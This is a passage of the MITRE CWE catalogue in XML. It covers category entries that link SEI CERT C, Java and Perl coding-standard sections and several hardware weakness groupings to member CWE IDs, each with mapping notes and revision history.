            <Has_Member CWE_ID="327" View_ID="1154"/>
			<Has_Member CWE_ID="330" View_ID="1154"/>
			<Has_Member CWE_ID="338" View_ID="1154"/>
			<Has_Member CWE_ID="676" View_ID="1154"/>
			<Has_Member CWE_ID="331" View_ID="1154"/>
			<Has_Member CWE_ID="758" View_ID="1154"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-613"/>
			<Reference External_Reference_ID="REF-993"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-18</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1171" Name="SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the POSIX (POS) section of the SEI CERT C Coding Standard.</Summary>
         <Relationships>
            <Has_Member CWE_ID="170" View_ID="1154"/>
            <Has_Member CWE_ID="242" View_ID="1154"/>
			<Has_Member CWE_ID="363" View_ID="1154"/>
			<Has_Member CWE_ID="696" View_ID="1154"/>
			<Has_Member CWE_ID="273" View_ID="1154"/>
			<Has_Member CWE_ID="667" View_ID="1154"/>
			<Has_Member CWE_ID="391" View_ID="1154"/>
			<Has_Member CWE_ID="252" View_ID="1154"/>
			<Has_Member CWE_ID="253" View_ID="1154"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-614"/>
			<Reference External_Reference_ID="REF-994"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-18</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1172" Name="SEI CERT C Coding Standard - Guidelines 51. Microsoft Windows (WIN) " Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Microsoft Windows (WIN) section of the SEI CERT C Coding Standard.</Summary>
         <Relationships>
            <Has_Member CWE_ID="762" View_ID="1154"/>
			<Has_Member CWE_ID="590" View_ID="1154"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-617"/>
			<Reference External_Reference_ID="REF-995"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-18</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1175" Name="SEI CERT Oracle Secure Coding Standard for Java - Guidelines 18. Concurrency (CON)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Concurrency (CON) section of the SEI CERT Oracle Secure Coding Standard for Java.</Summary>
         <References>
            <Reference External_Reference_ID="REF-1007"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1179" Name="SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Input Validation and Data Sanitization (IDS) section of the SEI CERT Perl Coding Standard.</Summary>
         <Relationships>
		   <Has_Member CWE_ID="22" View_ID="1178"/>
		   <Has_Member CWE_ID="134" View_ID="1178"/>
		   <Has_Member CWE_ID="129" View_ID="1178"/>
		   <Has_Member CWE_ID="789" View_ID="1178"/>
		   <Has_Member CWE_ID="116" View_ID="1178"/>
		   <Has_Member CWE_ID="77" View_ID="1178"/>
		   <Has_Member CWE_ID="95" View_ID="1178"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1012"/>
			<Reference External_Reference_ID="REF-1020"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-01-08</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1180" Name="SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Declarations and Initialization (DCL) section of the SEI CERT Perl Coding Standard.</Summary>
         <Relationships>
		   <Has_Member CWE_ID="628" View_ID="1178"/>
		   <Has_Member CWE_ID="456" View_ID="1178"/>
		   <Has_Member CWE_ID="457" View_ID="1178"/>
		   <Has_Member CWE_ID="477" View_ID="1178"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1013"/>
			<Reference External_Reference_ID="REF-1021"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-01-08</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1181" Name="SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Expressions (EXP) section of the SEI CERT Perl Coding Standard.</Summary>
         <Relationships>
		   <Has_Member CWE_ID="394" View_ID="1178"/>
		   <Has_Member CWE_ID="783" View_ID="1178"/>
		   <Has_Member CWE_ID="477" View_ID="1178"/>
		   <Has_Member CWE_ID="248" View_ID="1178"/>
		   <Has_Member CWE_ID="391" View_ID="1178"/>
		   <Has_Member CWE_ID="460" View_ID="1178"/>
		   <Has_Member CWE_ID="705" View_ID="1178"/>
		   <Has_Member CWE_ID="754" View_ID="1178"/>
		   <Has_Member CWE_ID="252" View_ID="1178"/>
		   <Has_Member CWE_ID="690" View_ID="1178"/>
		   <Has_Member CWE_ID="628" View_ID="1178"/>
		   <Has_Member CWE_ID="375" View_ID="1178"/>
		   <Has_Member CWE_ID="597" View_ID="1178"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1014"/>
			<Reference External_Reference_ID="REF-1022"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-01-08</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1182" Name="SEI CERT Perl Coding Standard - Guidelines 04. Integers (INT)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Integers (INT) section of the SEI CERT Perl Coding Standard.</Summary>
         <Relationships>
		   <Has_Member CWE_ID="189" View_ID="1178"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1015"/>
			<Reference External_Reference_ID="REF-1023"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-01-08</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1183" Name="SEI CERT Perl Coding Standard - Guidelines 05. Strings (STR)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Strings (STR) section of the SEI CERT Perl Coding Standard.</Summary>
         <References>
            <Reference External_Reference_ID="REF-1016"/>
			<Reference External_Reference_ID="REF-1024"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-01-08</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1184" Name="SEI CERT Perl Coding Standard - Guidelines 06. Object-Oriented Programming (OOP)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Object-Oriented Programming (OOP) section of the SEI CERT Perl Coding Standard.</Summary>
         <Relationships>
		   <Has_Member CWE_ID="767" View_ID="1178"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1017"/>
			<Reference External_Reference_ID="REF-1025"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-01-08</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1185" Name="SEI CERT Perl Coding Standard - Guidelines 07. File Input and Output (FIO)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the File Input and Output (FIO) section of the SEI CERT Perl Coding Standard.</Summary>
         <Relationships>
		   <Has_Member CWE_ID="59" View_ID="1178"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1018"/>
			<Reference External_Reference_ID="REF-1026"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-01-08</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1186" Name="SEI CERT Perl Coding Standard - Guidelines 50. Miscellaneous (MSC)" Status="Stable">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Miscellaneous (MSC) section of the SEI CERT Perl Coding Standard.</Summary>
         <Relationships>
		   <Has_Member CWE_ID="561" View_ID="1178"/>
		   <Has_Member CWE_ID="563" View_ID="1178"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1019"/>
			<Reference External_Reference_ID="REF-1027"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-01-08</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1195" Name="Manufacturing and Life Cycle Management Concerns" Status="Draft">
         <Summary>Weaknesses in this category are root-caused to defects that arise in the semiconductor-manufacturing process or during the life cycle and supply chain.</Summary>
         <Relationships>
             <Has_Member CWE_ID="1059" View_ID="1194"/>
             <Has_Member CWE_ID="1248" View_ID="1194"/>
             <Has_Member CWE_ID="1266" View_ID="1194"/>
             <Has_Member CWE_ID="1269" View_ID="1194"/>
             <Has_Member CWE_ID="1273" View_ID="1194"/>
	     <Has_Member CWE_ID="1297" View_ID="1194"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
             <Submission>
			     <Submission_Name>CWE Content Team</Submission_Name>
			     <Submission_Organization>MITRE</Submission_Organization>
                 <Submission_Date>2019-12-27</Submission_Date>
             </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1196" Name="Security Flow Issues" Status="Draft">
         <Summary>Weaknesses in this category are related to improper design of full-system security flows, including but not limited to secure boot, secure update, and hardware-device attestation.</Summary>
         <Relationships>
             <Has_Member CWE_ID="1190" View_ID="1194"/>
             <Has_Member CWE_ID="1193" View_ID="1194"/>
             <Has_Member CWE_ID="1264" View_ID="1194"/>
             <Has_Member CWE_ID="1274" View_ID="1194"/>
             <Has_Member CWE_ID="1283" View_ID="1194"/>
             <Has_Member CWE_ID="1310" View_ID="1194"/>
             <Has_Member CWE_ID="1326" View_ID="1194"/>
             <Has_Member CWE_ID="1328" View_ID="1194"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
             <Submission>
			     <Submission_Name>CWE Content Team</Submission_Name>
			     <Submission_Organization>MITRE</Submission_Organization>
                 <Submission_Date>2019-12-27</Submission_Date>
             </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1197" Name="Integration Issues" Status="Draft">
         <Summary>Weaknesses in this category are those that arise due to integration of multiple hardware Intellectual Property (IP) cores, from System-on-a-Chip (SoC) subsystem interactions, or from hardware platform subsystem interactions.</Summary>
		 <Relationships>
            <Has_Member CWE_ID="1276" View_ID="1194"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
             <Submission>
			     <Submission_Name>CWE Content Team</Submission_Name>
			     <Submission_Organization>MITRE</Submission_Organization>
                 <Submission_Date>2019-12-27</Submission_Date>
             </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1198" Name="Privilege Separation and Access Control Issues" Status="Draft">
         <Summary>Weaknesses in this category are related to features and mechanisms providing hardware-based isolation and access control (e.g., identity, policy, locking control) of sensitive shared hardware resources such as registers and fuses.</Summary>
         <Relationships>
            <Has_Member CWE_ID="276" View_ID="1194"/>
            <Has_Member CWE_ID="441" View_ID="1194"/>
            <Has_Member CWE_ID="1189" View_ID="1194"/>
            <Has_Member CWE_ID="1192" View_ID="1194"/>
            <Has_Member CWE_ID="1220" View_ID="1194"/>
            <Has_Member CWE_ID="1222" View_ID="1194"/>
            <Has_Member CWE_ID="1242" View_ID="1194"/>
            <Has_Member CWE_ID="1260" View_ID="1194"/>
            <Has_Member CWE_ID="1262" View_ID="1194"/>
            <Has_Member CWE_ID="1267" View_ID="1194"/>
            <Has_Member CWE_ID="1268" View_ID="1194"/>
            <Has_Member CWE_ID="1280" View_ID="1194"/>
            <Has_Member CWE_ID="1294" View_ID="1194"/>
            <Has_Member CWE_ID="1299" View_ID="1194"/>
            <Has_Member CWE_ID="1302" View_ID="1194"/>
            <Has_Member CWE_ID="1303" View_ID="1194"/>
            <Has_Member CWE_ID="1314" View_ID="1194"/>
            <Has_Member CWE_ID="1318" View_ID="1194"/>
            <Has_Member CWE_ID="1334" View_ID="1194"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
             <Submission>
			     <Submission_Name>CWE Content Team</Submission_Name>
			     <Submission_Organization>MITRE</Submission_Organization>
                 <Submission_Date>2019-12-27</Submission_Date>
             </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1199" Name="General Circuit and Logic Design Concerns" Status="Draft">
         <Summary>Weaknesses in this category are related to hardware-circuit design and logic (e.g., CMOS transistors, finite state machines, and registers) as well as issues related to hardware description languages such as System Verilog and VHDL.</Summary>
         <Relationships>
            <Has_Member CWE_ID="1209" View_ID="1194"/>
            <Has_Member CWE_ID="1221" View_ID="1194"/>
            <Has_Member CWE_ID="1223" View_ID="1194"/>
            <Has_Member CWE_ID="1224" View_ID="1194"/>
            <Has_Member CWE_ID="1231" View_ID="1194"/>
            <Has_Member CWE_ID="1232" View_ID="1194"/>
            <Has_Member CWE_ID="1233" View_ID="1194"/>
            <Has_Member CWE_ID="1234" View_ID="1194"/>
            <Has_Member CWE_ID="1245" View_ID="1194"/>
            <Has_Member CWE_ID="1250" View_ID="1194"/>
